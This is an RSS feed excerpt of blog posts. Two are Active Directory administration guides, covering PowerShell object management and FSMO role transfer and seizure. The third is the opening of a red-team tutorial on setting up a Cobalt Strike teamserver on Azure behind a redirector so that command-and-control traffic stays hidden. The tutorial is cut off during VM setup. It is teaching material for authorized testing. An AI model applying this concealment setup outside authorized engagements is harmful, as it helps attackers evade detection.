preceding example, the command will create the REBEL-PC01 computer object in the OU=Computer,DC=fsociety,DC=org. If you do not define the path, it will create the object under the default computer container, CN=Computers, DC=fsociety, DC=org.</p><p>If it’s required, we can do it using a CSV method similar to user-object creation</p><h3>Modifying AD objects:</h3><p>When creating objects in Active Directory, we specify values for various attributes. After creation, there may be times when we need to update these attribute values or add new ones.</p><p>To change and add attribute values for existing AD user objects, we can use the Set-ADUser cmdlet. For example:</p><pre>Set-ADUser ealderson -OfficePhone &quot;0912345678&quot; -City &quot;Dehradun&quot;</pre><p>In this command, we’re setting the -OfficePhone and -City attributes for the user ealderson .</p><p>If we need to change an existing attribute value, we can use a similar command:</p><pre>Set-ADUser ealderson -OfficePhone &quot;0912345678&quot;</pre><p>While specifying the exact user account works for individual changes, it becomes impractical for bulk updates. For such cases, we can combine Set-ADUser with Get-ADUser to search for objects and apply changes to multiple accounts:</p><pre>Get-ADUser -Filter * -SearchBase &#39;OU=Users,OU=India,DC=fsociety,DC=org&#39; | Set-ADUser -City &quot;Mumbai&quot;</pre><p>This command finds all user objects in OU=Users,OU=India,DC=fosciety,DC=org and sets their City attribute to Mumbai.</p><p>Similarly, to update users who already have a specific attribute value:</p><pre>Get-ADUser -Filter {City -like &quot;Mumbai&quot;} | Set-ADUser -City &quot;Dehradun&quot;</pre><p>This example searches for users whose City attribute is London and updates it to Kingston.</p><p>We can also combine this with a search query using Get-ADComputer:</p><pre>Get-ADComputer -Filter {Name -like &quot;India-PC-*&quot;} | Set-ADComputer -Location &quot;A14 Building&quot;</pre><p>This command searches for computers with names starting with India-PC and sets their Location attribute to A14Building.</p><p>In the ADAC and ADUC GUI tools, updating attributes is as simple as double-clicking an object and editing its values. Additionally, you can select multiple objects and modify specific attributes simultaneously.</p><h3>Removing AD objects</h3><p>To remove AD user objects, we can use the Remove-ADUser cmdlet. To find the complete syntax, you can use the following command:</p><pre>Get-Command Remove-ADUser -Syntax</pre><p>When using the Remove-ADUser cmdlet, we need to specify a value for the -Identity parameter to identify the account. This can be a distinguished name, GUID, SID, or the SamAccountName value. In an LDS environment, the object partition parameter must also be defined:</p><pre>Remove-ADUser -Identity &quot;vraj&quot;</pre><p>This command will remove the AD user object named vraj from the directory, asking for confirmation before deletion.</p><p>The cmdlet can also be combined with a search query to find and remove objects:</p><pre>Get-ADUser -Filter {Name -like &quot;Test1*&quot;} | Remove-ADUser<br><br>Get-ADUser -Filter * -SearchBase &quot;OU=Users,OU=India,DC=fsociety,DC=org&quot; | Remove-ADUser</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nZ-u7fkpQ9tRdzXMxtlo7A.png" /><figcaption>Fig: 3.0 Removing User Accounts</figcaption></figure><p>In this command, we search the User Object in the given OU and then remove the findings from the directory.</p><p>Similarly, the Remove-ADComputer cmdlet is used to remove computer objects from the directory:</p><pre>Remove-ADComputer -Identity &quot;India-PC-01&quot;</pre><p>This command removes the India-PC-01 computer object from the directory. We can also combine it with a search query:</p><pre>Get-ADComputer -Filter * -SearchBase &#39;OU=Computers,OU=Europe,DC=rebeladmin,DC=com&#39; | Remove-ADComputer</pre><p>This command searches for computer objects in the specified OU and removes them from the directory.</p><p>The ADAC and ADUC tools can also be used to remove objects from the directory. Both tools include search functions that can locate specific objects for deletion.</p><h4>Finding objects in AD</h4><p>Efficiently locating objects within Active Directory (AD) is crucial for effective management and administration. Whether you’re searching for user accounts, computer objects, or other directory entries, AD provides several tools and methods to help you find what you need quickly and accurately. The most common way to locate an object in AD is to use <strong>ADAC</strong> or <strong>ADUC </strong>and browse through the containers. As the number of objects increases, so does the difficulty of locating objects in AD. In this section, we are going to look at more efficient ways of locating objects in an AD environment.</p><p><strong>ADAC </strong>has enhanced query and filter capabilities. Since it’s used via a GUI, it helps us to retrieve results faster compared to PowerShell.</p><p><strong>ADAC </strong>has a feature called Global Search, which can be used to search for objects in the entire directory. This allows a typical text-based search or advanced <strong>Lightweight Directory Access Protocol</strong> (LDAP)-based queries:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tc4K-o7IF-Lqr9iXF4SicQ.png" /><figcaption>Fig: 3.1 Global Search in ADAC</figcaption></figure><h4>Using PowerShell</h4><p>PowerShell provides a powerful way to search for AD objects, offering flexibility and the ability to script and automate tasks:</p><p>To find user objects, use the Get-ADUser cmdlet. For example:</p><pre>Get-ADUser -Identity ealderson Properties *</pre><p>I need to know the values for Name, UserPrincipalName, and Modified for all of the users in a specified OU. The following command will create a table with relevant attributes and their values:</p><pre>Get-ADUser -Filter * -SearchBase &quot;OU=Users,OU=India,DC=fsociety,DC=org&quot; -Properties Name,UserPrincipalName,Modified | ft Name,UserPrincipalName,Modified</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RThm0UejdzaK5ieaMAXLJg.png" /><figcaption>Fig:3.2 Searching Specfic User Objects</figcaption></figure><p>IF we want to only see the accounts in the Mumbai office, then we need to use this command:</p><pre>Get-ADUser -Filter {City -like &quot;Mumbai&quot;} -Properties Name,UserPrincipalName,Modified | ft Name,UserPrincipalName,Modified </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8OIPM95ZV0-PPg7LD4MXqQ.png" /><figcaption>Fig: 3.3 Searching User Objects based on Location Attributes</figcaption></figure><p>The preceding command filters users further based on the City value.</p><p>Now I have the list of data I need, and I’d like to export it to a CSV file for future use, like so:</p><pre>Get-ADUser -Filter {City -like &quot;Mumbai&quot;} -Properties Name,UserPrincipalName,Modified | ft Name,UserPrincipalName,Modified | Export-Csv -path &quot;C:\ADUsersList.csv&quot;</pre><p>The Search-ADAccount cmdlet can also be used to search for AD objects based on the account and password status. The full syntax of the cmdlet can be retrieved using the following command:</p><pre>Get-Command Search-ADAccount -Syntax</pre><p>As an example, it can be used to filter accounts that are locked out:</p><pre>Search-ADAccount -LockedOut | FT Name,UserPrincipalName</pre><p>This command will list all of the locked-out accounts with a name and UPN.</p><h3>Preventing the Accidental Deletion of Objects:</h3><p>Accidental deletion of objects in Active Directory (AD) can lead to significant disruptions and potential security issues within an organization. Fortunately, AD provides several mechanisms to prevent such incidents and protect critical directory information.</p><h4>Enable AD Recycle Bin</h4><p>The AD Recycle Bin feature allows you to restore deleted objects without needing to perform an authoritative restore from backup. Enabling this feature is highly recommended for protecting against accidental deletions.</p><p><strong>Enable AD Recycle Bin</strong>:</p><ul><li>Open the Active Directory Administrative Center (ADAC).</li><li>In the left pane, right-click on your domain and select <strong>Enable Recycle Bin</strong>.</li><li>Confirm the action and refresh ADAC to activate the Recycle Bin.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mShQiMTtajY7VqLJq8boGA.png" /><figcaption>Fig: 3.4 Enabling Recycle Bin on ADAC</figcaption></figure><h4>Use the “Protect from Accidental Deletion” Option</h4><p>This option can be applied to objects to prevent their accidental deletion. When enabled, it requires additional steps to delete the object, thus providing a safeguard.</p><p><strong>Enable Protection via PowerShell</strong>:</p><p>In PowerShell, this can be done using the -ProtectedFromAccidentalDeletion $true</p><pre>Set-ADObject -Identity &#39;CN=Elliot Alderson,DC=fsociety,DC=org&#39; -ProtectedFromAccidentalDeletion $true</pre><p>In the preceding command, I am enabling the Protect object from accidental deletion feature for user account Elliot Alderson.</p><p>When we create OUs, this feature will be enabled by default.</p><h4>Summary:</h4><p>Managing Active Directory (AD) effectively requires a comprehensive understanding of its components and functionalities. This article has covered key aspects of AD management, including creating, modifying, and removing user and computer objects. We discussed using user templates for consistency, leveraging PowerShell and GUI tools for efficiency, and combining search queries with modification commands to streamline administrative tasks. We also explored methods for finding objects in AD and emphasized the importance of protecting against accidental deletions through features like the AD Recycle Bin, the “Protect from Accidental Deletion” option. By integrating these practices, administrators can maintain a secure, well-organized AD environment, ensuring robust user, group, and device management.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d7cd9b77f75d" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/active-directory-secrets-managing-active-directory-objects-using-powershell-d7cd9b77f75d">Active Directory Secrets: Managing Active Directory Objects using PowerShell</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Active Directory Secrets: The Essential Guide to FSMO Roles and Transfers]]></title>
            <link>https://systemweakness.com/active-directory-secrets-the-essential-guide-to-fsmo-roles-and-transfers-24be3cc1b6c1?source=rss-edb4f8df156a------2</link>
            <guid isPermaLink="false">https://medium.com/p/24be3cc1b6c1</guid>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[microsoft]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Vishal Raj]]></dc:creator>
            <pubDate>Tue, 18 Jun 2024 17:09:52 GMT</pubDate>
            <atom:updated>2024-06-18T20:00:51.343Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*qNYSOlD4FuI1dZEy87iz6g.png" /></figure><h3><strong>Introduction to FSMO Roles</strong></h3><p>In the realm of IT infrastructure, Active Directory (AD) plays a critical role in managing networks, users, and resources within an organization. At the heart of Active Directory are FSMO (Flexible Single Master Operation) roles, a set of special roles crucial for the smooth functioning and consistency of the directory. Understanding these roles and how to manage them is essential for any IT professional tasked with maintaining an Active Directory environment.</p><h4><strong>What are FSMO Roles?</strong></h4><p>Active Directory operates on a multi-master database model, allowing any writable domain controller in the domain to modify the Active Directory configuration and replicate those changes to all other domain controllers. However, certain operations require centralized control to maintain the integrity of Active Directory Domain Services (AD DS). These operations are better managed in a single-master mode rather than a multi-master mode. The special roles that manage these operations are known as Flexible Single Master Operation (FSMO) roles.</p><p>FSMO roles can be assigned to one domain controller or distributed among multiple domain controllers according to recommended guidelines. However, each role can exist only once within a domain or forest, making the operations master role holder a critical component of an AD DS infrastructure. If the domain controller that holds an operations master role fails and cannot be recovered, another domain controller must forcefully take over its operations master roles to ensure continued functionality and integrity of the Active Directory environment.</p><h4><strong>Why are FSMO Roles Important?</strong></h4><p>FSMO roles are designed to handle specific tasks that, if executed by multiple domain controllers simultaneously, could lead to inconsistencies and corruption within the Active Directory database. For instance, tasks such as schema modifications or handling RID allocation require a single authoritative source to maintain order. The designated FSMO role holder ensures these operations are performed without conflicts, maintaining the stability and reliability of the directory services.</p><p><strong>Overview of Active Directory and Its Components</strong></p><p>Active Directory is a directory service developed by Microsoft for Windows domain networks. It is included in most Windows Server operating systems and provides a variety of network services, including:</p><ul><li><strong>Centralized Domain Management:</strong> Allows administrators to manage users, computers, and other resources within a networked environment.</li><li><strong>Authentication and Authorization:</strong> Provides mechanisms for verifying user identities and controlling access to resources.</li><li><strong>LDAP Support:</strong> Uses the Lightweight Directory Access Protocol (LDAP) to enable queries and updates to the directory.</li><li><strong>Replication:</strong> Ensures data consistency across multiple domain controllers through replication.</li></ul><p>Within this framework, FSMO roles play a pivotal role in ensuring that critical directory operations are performed smoothly and without conflicts.</p><p><strong>The Significance of Understanding FSMO Roles</strong></p><p>For IT professionals and system administrators, a thorough understanding of FSMO roles is indispensable. Proper management of these roles ensures optimal performance, availability, and reliability of the Active Directory environment. Mismanagement or ignorance of these roles can lead to directory issues, including replication failures, authentication problems, and even potential security vulnerabilities.</p><p>In this article, we will delve into the different types of FSMO roles, their responsibilities, and how to manage them effectively. We will also explore how to transfer these roles using PowerShell, best practices to follow, and steps to take in the event of a disaster requiring role seizure. By the end of this guide, you will have a comprehensive understanding of FSMO roles and the skills necessary to maintain a robust and reliable Active Directory infrastructure.</p><h3><strong>Types of FSMO Roles:</strong></h3><p>Active Directory FSMO roles are classified into five distinct roles, each with unique responsibilities and scope. These roles are further categorized based on their reach within the Active Directory environment: forest-wide roles and domain-wide roles.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g7ahwpgRMfAPbFxeXdMiNA.jpeg" /></figure><h4><strong>Forest-Wide FSMO Roles</strong></h4><p>Forest-wide roles have a scope that spans the entire Active Directory forest. These roles are essential for operations that need to be consistent across all domains within the forest.</p><ol><li><strong>Schema Operation Master:</strong></li></ol><ul><li><strong>Responsibilities</strong>: The Schema Master is responsible for maintaining and modifying the Active Directory schema. The schema defines the structure of the directory, including the objects and attributes that can be created. All schema changes, such as adding new attributes or object classes, must be processed through the Schema Master to ensure consistency across the forest.</li><li><strong>Scope</strong>: Forest-wide. There is only one Schema Master per forest.</li></ul><p>In an Active Directory forest, the schema master role owner can be found using the following PowerShell command:</p><pre>Get-ADForest | select SchemaMaster</pre><p>2. <strong>Domain Naming Master:</strong></p><ul><li><strong>Responsibilities</strong>: The Domain Naming Master oversees the addition and removal of domains in the forest. It ensures that new domains are correctly added to the namespace and that existing domains are properly removed. This role also prevents duplicate domain names within the forest.</li><li><strong>Scope</strong>: Forest-wide. There is only one Domain Naming Master per forest.</li></ul><p>In an Active Directory forest, the Domain Naming master role owner can be found using the following PowerShell command:</p><pre>Get-ADForest | select DomainNamingMaster</pre><h4>Domain-Wide FSMO Roles</h4><p>Domain-wide roles are specific to individual domains within the Active Directory forest. Each domain has its own set of these roles.</p><ol><li><strong>PDC (Primary Domain Controller) Emulator</strong></li></ol><ul><li><strong>Responsibilities</strong>: The PDC Emulator acts as a central point for synchronizing time within the domain, managing password changes, and acting as a fallback for authentication requests when other domain controllers are unavailable. It allow a maximum of a 5-minute time difference between the server and a client to maintain successful authentication. If it&#39;s more than 5 minutes the devices will not be able to added to the domain, users will not be able to authenticate, and the Active-Directory-integrated application will start throwing authentication-related error. It also handles legacy support for applications that rely on the presence of a PDC from older Windows NT environments. The PDC is also responsible for managing the Group Policy Object (GPO) edit. Every time a GPO is viewed or updated, it will be done from the copy stored in the PDC’s SYSVOL folder. Due to the importance of the role, it is recommended to choose the most reliable domain controller to hold the PDC role.</li><li><strong>Scope</strong>: Domain-wide. Each domain has its own PDC Emulator.</li></ul><p>In the Active Directory domain, the PDC role owner can be found using the following command:</p><pre>Get-ADDomain | select PDCEmulator</pre><p><strong>2. RID (Relative Identifier) Master</strong></p><ul><li><strong>Responsibilities:</strong> It is responsible for maintaining a pool of RIDs used when creating objects in the domain. Each object in a domain has a unique security identifier (SID), and the RID value is part of the SID creation process. The SID uniquely identifies an object in Active Directory, with the RID being the incremental portion of the SID value. Once a RID value is used to generate a SID, it cannot be reused. Even after an object is deleted from Active Directory, the RID value cannot be reclaimed, ensuring the uniqueness of the SID. The RID role owner maintains a pool of RIDs and, when the domain has multiple domain controllers, it assigns blocks of 500 RID values to each domain controller. When a domain controller’s RID pool usage exceeds 50%, it requests another block of RIDs from the RID role owner to ensure a continuous supply of unique identifiers.</li><li><strong>Scope</strong>: Domain-wide. Each domain has its own RID Master.</li></ul><p>In the Active Directory domain, the RID role owner can be found using the following PowerShell command:</p><pre>Get-ADDomain | select RIDMaster</pre><p>3. Infrastructure Operation Master:</p><ul><li><strong>Responsibility:</strong> It is responsible for replicating changes to <strong>SID </strong>and <strong>distinguished name (DN)</strong> values across domains. SID and DN values change based on their location within the forest. When objects are moved between domains, their new values must be updated in groups and <strong>Access Control Lists (ACLs)</strong>. The infrastructure operations master handles this task, ensuring that moved objects retain access to their resources without interruptions.</li><li><strong>Scope</strong>: Domain-wide. Each domain has its own Infrastructure Master.</li></ul><p>In the Active Directory domain, the infrastructure operations master role owner can be found using the following PowerShell command:</p><pre>Get-ADDomain | select InfrastructureMaster</pre><h3>FSMO Role Placement</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FRrt4UaXAMPbeCXX_iMc-A.png" /></figure><p>Consider the following scenario: Ecorp, a company with a multi-domain structure, has three domains within a single forest. The forest root domain is Ecorp.com, while Ecorp.net is utilized at its USA headquarters, and Ecorp.in is employed at its branch in India. Each of these domains shares a common forest, necessitating careful allocation of FSMO roles to maintain optimal performance and reliability.</p><h4>Forest-Wide Roles Placement</h4><p>Since Ecorp.com is the forest root domain, it houses the forest-wide FSMO roles, namely the<strong> Schema Master</strong> and <strong>Domain Naming Master</strong>. These roles are less demanding in terms of processing power because forest-wide changes are infrequent. However, their high availability is crucial as they support other domain activities. The Ecorp.com domain contains three domain controllers: <strong>PDC01</strong>, <strong>SDC01</strong>, and <strong>SDC02</strong>. Given its reliability, PDC01 is designated to hold both the Schema Master and Domain Naming Master roles.</p><h4>Domain-Wide Roles Considerations</h4><p>The PDC Emulator is the most resource-intensive FSMO role as it manages password changes, time synchronization, and Group Policy Object (GPO) edits. Thus, it should run on the domain controller with the highest processing capacity, which in this case is PDC01. The RID Master role, essential for SID creation and allocation, must also reside on a reliable domain controller to avoid network latency issues. Therefore, PDC01 will also host the <strong>RID Master role</strong>, ensuring optimal performance and minimizing potential delays.</p><h4>Cross-Domain Referencing and Infrastructure Master</h4><p>In a multi-domain environment, cross-domain referencing is vital. For instance, if a user account in the forest root domain changes its name, this change must be propagated to all domain controllers in the forest root domain. Additionally, if the user belongs to groups in other domains, these groups must also be updated with the new values. To handle this, <strong>SDC01 </strong>is designated as a non-global catalog server and holds the<strong> Infrastructure Master</strong> role.</p><h4>Backup and Disaster Recovery</h4><p><strong>SDC02 </strong>serves as a backup domain controller. In the event of a failure of any FSMO role holder, SDC02 is prepared to assume the necessary roles, ensuring continuity of operations. While the forest root domain might not be actively used in some infrastructures, maintaining multiple domain controllers in such cases can be seen as an unnecessary management burden.</p><h4>Ecorp.in Domain Configuration</h4><p>The Ecorp.in domain supports a regional office with fewer than 25 users, mostly salespeople. Given the small size and low resource demands, maintaining multiple domain controllers isn’t justifiable. Thus, <strong>PDC01 </strong>in the Ecorp.in domain hosts all three domain-wide FSMO roles, while <strong>SDC01</strong> acts as a backup domain controller, ready to be utilized in a <strong>Disaster Recovery (DR) </strong>scenario.</p><h3>Moving FSMO Roles using PowerShell:</h3><p>Transferring FSMO roles using PowerShell is a straightforward process that ensures minimal disruption to your Active Directory environment. This section will guide you through the prerequisites, the step-by-step procedure to transfer each FSMO role, and how to verify the transfer.</p><h4>Prerequisites for Transferring FSMO Roles</h4><ul><li>Ensure you have administrative privileges on both the source and target domain controllers. If you need to move domain-wide roles, the minimum you need to have are Domain Admins privileges. If they are forest-wide roles, they need to be Enterprise Admins privileges.</li><li>Verify network connectivity between the domain controllers involved in the transfer.</li><li>Ensure that the Active Directory PowerShell module is installed on the system where you will execute the transfer commands.</li></ul><p>Before we start, we need to check the current FSMO role holder. This can be done by running the following command:</p><pre>netdom query fsmo</pre><p>In the infrastructure, there is a new domain controller addes with the name ECORP-SDC02, and I’d like to move the domain-wide FSMO roles, which are the PDS, RID and infrastructure roles, to the new server:</p><pre>Move-ADDirectoryServerOperationMasterRole -Identity ECORP-SDC02 -OperationMasterRole PDCEmulator, RIDMaster, InfrastructureMaster</pre><p>Once the move is complete, we can check the role owners again.</p><p>If we need to move all five FSMO roles to the new host, we can use the following command:</p><pre>Move-ADDirectoryServerOperationMasterRole -Identity ECORP-SDC02 -OperationMasterRole SchemaMaster, DomainNamingMaster, PDCEmulator, RIDMaster, InfrastructureMaster</pre><p>Once the transfer is completed, the system will create an event in the event viewer under the directory service log with the event ID 1458.</p><h3>Seizing FSMO Roles in the Event of a Disaster</h3><p>In the unfortunate event that a domain controller holding an FSMO role fails and cannot be recovered (Hardware failure, System operation issues, Forcefully recovered domain controller), it becomes necessary to seize the FSMO roles to another domain controller. Seizing FSMO roles is a critical procedure and should only be performed when it’s certain that the original role holder is permanently offline or cannot be restored in a reasonable time frame.</p><p>Before proceeding with FSMO role seizure, ensure the following:</p><ul><li>Confirm that the original FSMO role holder is indeed unreachable and not temporarily offline.</li><li>Verify that no attempts will be made to bring the failed domain controller back online without first removing it from the domain, to prevent conflicts.</li></ul><p>In order to seize the roles, the following command can be used:</p><pre>Move-ADDirectoryServerOperationMasterRole -Identity &quot;TargetDC&quot; -OperationMasterRole SchemaMaster, DomainNamingMaster, PDCEmulator, RIDMaster, InfrastructureMaster -Force</pre><p>The only change in the command from the FSMO role transfer is the <strong>-Force </strong>parameter at the end. Otherwise, it’s the exact same command. You also can seize the individual role using Move-ADDirectoryServerOperationMasterRole -Identity &lt;TargetDC&gt; -OperationMasterRole &lt;FSMO Role&gt; -Force.<br> &lt;FSMO Role&gt; can be replaced with the actual FSMO role value and &lt;TargetDC&gt; with Target Domain Controller.</p><h3>Best Practices for FSMO Role Placement</h3><p>In the previous sections, we’ve discussed various considerations for FSMO role placement. Here, I will summarize the key points to ensure optimal performance and reliability:</p><h4>Network Connectivity</h4><ul><li>Ensure that all domain controllers in the forest can reach FSMO role holders without network connection barriers. If domain controllers are in a segmented network, make sure traffic is correctly routed.</li></ul><h4>Role Distribution</h4><ul><li>Distribute FSMO roles across multiple servers as needed, but be mindful that more servers increase management overhead. Try to keep FSMO roles on a fewer number of computers unless there is a specific requirement to distribute them.</li></ul><h4>PDC Role</h4><ul><li>Place the PDC role on the most reliable and powerful domain controller. Avoid installing applications and other Windows Server roles on the PDC to minimize unnecessary resource usage.</li></ul><h4>RID Master and PDC Roles</h4><ul><li>Keep the RID Master and PDC roles on the same domain controller within the same domain. This ensures reliable communication between these roles, which is crucial for their operation. The RID Master role has a small resource footprint, so it won’t significantly impact the domain controller’s performance.</li></ul><h4>Schema Master and Domain Naming Master</h4><ul><li>Place the Schema Master and Domain Naming Master roles on the PDC of the forest root domain. Changes to the schema or the addition/removal of domain controllers are rare in a mature Active Directory forest, but when they occur, these roles need to be available to manage the changes in a controlled manner.</li></ul><h4>Infrastructure Master</h4><ul><li>If possible, assign the Infrastructure Master role to a non-global catalog server. A global catalog server holds a partial copy of every Active Directory object in the forest, which can interfere with the Infrastructure Master role’s ability to update objects it doesn’t hold. However, if the Active Directory Recycle Bin feature is enabled, every domain controller is responsible for updating cross-domain object references, making the placement of the Infrastructure Master role less critical.</li></ul><p>By adhering to these best practices, you can ensure that your FSMO roles are optimally placed to maintain a robust and efficient Active Directory environment.</p><h3>Conclusion</h3><p>In summary, understanding and managing FSMO roles is critical for maintaining the integrity, performance, and reliability of an Active Directory environment. By carefully considering the placement and transfer of these roles, and following best practices, administrators can ensure seamless operations and quick recovery in the event of a disaster. Proper FSMO role management not only supports the smooth functioning of domain controllers but also helps prevent potential disruptions, thereby supporting the overall health and efficiency of the Active Directory infrastructure.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=24be3cc1b6c1" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/active-directory-secrets-the-essential-guide-to-fsmo-roles-and-transfers-24be3cc1b6c1">Active Directory Secrets: The Essential Guide to FSMO Roles and Transfers</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Red Teaming on Azure: How to Secure Your Cobalt Strike Teamserver Using Redirectors]]></title>
            <link>https://systemweakness.com/red-teaming-on-azure-how-to-secure-your-cobalt-strike-teamserver-using-redirectors-9825b6ad7fb9?source=rss-edb4f8df156a------2</link>
            <guid isPermaLink="false">https://medium.com/p/9825b6ad7fb9</guid>
            <category><![CDATA[obfuscation]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Vishal Raj]]></dc:creator>
            <pubDate>Sat, 15 Jun 2024 18:16:15 GMT</pubDate>
            <atom:updated>2024-06-18T20:00:58.210Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9xVmV24eFc-wvGf-bME-lA.png" /></figure><h3>Introduction:</h3><p>In the rapidly evolving landscape of cybersecurity, red teaming has become an essential practice for organizations aiming to test their defenses against real-world attack scenarios. Among the various tools available for red team operations, Cobalt Strike stands out as a versatile and powerful framework designed to simulate advanced threat actors. It provides a comprehensive suite of tools for command and control, post-exploitation, and lateral movement, making it a preferred choice for professional red teams.</p><p>However, with great power comes great responsibility. The effectiveness of Cobalt Strike in a red teaming engagement heavily relies on the security and stealth of its infrastructure. A compromised or exposed teamserver can lead to the detection of the red team’s activities and potentially severe consequences. Therefore, configuring Cobalt Strike in a secure manner is paramount.</p><p>This article delves into the process of setting up a Cobalt Strike teamserver on Microsoft Azure, a popular cloud platform known for its robustness and scalability. The focus will be on configuring the environment to ensure that the teamserver remains hidden and secure, utilizing a redirector server to obfuscate the true origin of the command and control (C2) traffic.</p><p>We will explore the following key aspects:<br><strong>Prerequisites</strong>: Understanding the requirements and preparing the necessary tools and accounts.<br><strong>Azure Environment Setup:</strong> Establishing a secure virtual network with appropriate subnets for the teamserver and redirector.<br><strong>Teamserver Configuration:</strong> Installing and configuring the Cobalt Strike teamserver on an Azure virtual machine (VM).<br><strong>Redirector Server Setup:</strong> Deploying and configuring a redirector server to forward traffic to the teamserver, effectively hiding it from direct internet exposure.<br><strong>Testing the Setup:</strong> Ensuring the entire configuration works as intended by validating the communication between the redirector and the teamserver.</p><p>By the end of this article, you will have a securely configured Cobalt Strike environment on Azure that leverages a redirector server for enhanced stealth and security. This setup not only protects your teamserver from direct exposure but also provides a robust infrastructure for conducting sophisticated red team operations. Whether you are a seasoned red teamer or new to using Cobalt Strike, this step-by-step guide will help you achieve a secure and efficient setup.</p><h4>Prerequisites</h4><p>Before diving into the setup and configuration of the Cobalt Strike teamserver and redirector on Azure, ensure you have the following prerequisites in place:</p><ol><li><strong>Azure Account : </strong>A valid Microsoft Azure account with sufficient credits or a subscription plan to create and manage virtual machines, networks, and other resources. Familiarity with the Azure portal and basic Azure services.</li><li><strong>Licensed Cobalt Strike: </strong>A legitimate, licensed copy of Cobalt Strike. Ensure you have the necessary license key and installation files. Access to the Cobalt Strike support portal for documentation and updates.</li></ol><h3>Disclaimer</h3><p>This article is intended for educational and informational purposes only. The author and publisher of this article are not liable for any damages, losses, or legal actions resulting from the use or misuse of the information provided. The techniques and configurations discussed are designed to help security professionals and organizations enhance their understanding of cybersecurity practices, specifically in the context of red teaming and penetration testing.</p><h4>Setting Up the Azure Environment:</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eKShzNDFZUCERH5bW5zU3Q.png" /><figcaption>Fig:1.1 Azure Red Team Infrastructure</figcaption></figure><p>1.<strong> Login to the Azure Portal</strong></p><ul><li>Go to the <a href="https://portal.azure.com/">Azure Portal</a> and sign in with your Azure account credentials.s</li></ul><p><strong>2. Create a New Resource Group</strong></p><ul><li>Navigate to “Resource Groups” and click on “Add.”</li><li>Enter a name for your resource group and select the appropriate region.</li><li>Click “Review + create” and then “Create” to finalize the resource group.</li></ul><p><strong>3. Create a Virtual Network</strong></p><p>Inside the newly created resource group, click on “Add” to create a new resource. Search for “Virtual Network” and select it from the list of services. Click on “Create” and configure the following settings:</p><ul><li><strong>Name:</strong> Enter the name for your network</li><li><strong>Address Space: </strong>Set it to 192.168.0.0/24 .</li></ul><p>Create a Subnet with this virtual network:</p><ul><li><strong>Subnet Name:</strong> Subnet-01.</li><li><strong>Subnet Address Space</strong>: 192.168.1.0/24.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NfDhL2D-_Mw_YEGuH6q4DQ.png" /><figcaption>Fig:1.2 Virtual Network Creation</figcaption></figure><p><strong>4. Create a VM for Cobalt Strike Teamserver:</strong></p><ul><li>Inside the resource group, click on “Add” to create a new resource.</li><li>Search for “Virtual Machine” and select it from the list of services.</li><li>Click on “Create” and configure the following settings for the first VM:</li></ul><p>i.) <em>Basics</em></p><ul><li><strong>Image</strong>: Select Ubuntu 20.04 LTS.</li><li><strong>Size</strong>: Choose Standard_B1s.</li><li><strong>VM Name</strong>: Enter CSvm01.</li><li><strong>Username</strong>: Enter your preferred username (ubuntu).</li><li><strong>Authentication Type</strong>: Select “SSH public key.”</li><li><strong>SSH Public Key Source</strong>: Generate a new key pair.</li><li><strong>Key Pair Name</strong>: Name the SSH public key.</li></ul><p><em>ii) Disks</em></p><ul><li>Leave the default settings for the OS disk.</li></ul><p><em>iii) Networking</em></p><ul><li><strong>Virtual Network</strong>: Select the VNet that we created at step 3.</li><li><strong>Subnet</strong>: Select Subnet-01.</li><li><strong>Public IP</strong>: Select “None” (since the Cobalt Strike team server will not be accessible from the internet for better security).</li><li><strong>NIC Network Security Group</strong>: Choose “Basic” and allow port 22 as an inbound port rule for SSH access.</li></ul><p><em>iv.) Management, Advanced, and Tags</em></p><ul><li>Leave the default settings for these sections unless specific configurations are needed for your environment.</li></ul><p><em>v.) Review + Create</em></p><ul><li>Review all the configurations and click “Create” to deploy the VM.</li></ul><p>Download the ssh private key to your local computer, we use this key to login to our vm’s.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xmpyTDift7OeiRbMKb1TqA.png" /><figcaption>Fig:1.3 Cobalt Strike Virtual Machine</figcaption></figure><p><strong>5. Create the Redirector VM:</strong></p><ul><li>Follow the same steps as in 4 to create the redirector VM. In the Networking blade, create a public IP for the redirector because our Cobalt Strike Beacon and Cobalt Strike Client will communicate with the redirector from the public network. Use the existing SSH key generated in step 4.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X03Q6CvA0vEREp1XX7GHug.png" /><figcaption>Fig:1.4 Redirector Virtual Machine</figcaption></figure><p>By following these steps, you will create two VMs in your Azure environment: one for the Cobalt Strike teamserver (CSvm01) without a public network access, and a redirector VM (Redirectorvm01) with a public IP to manage incoming traffic.</p><figure><img alt="" 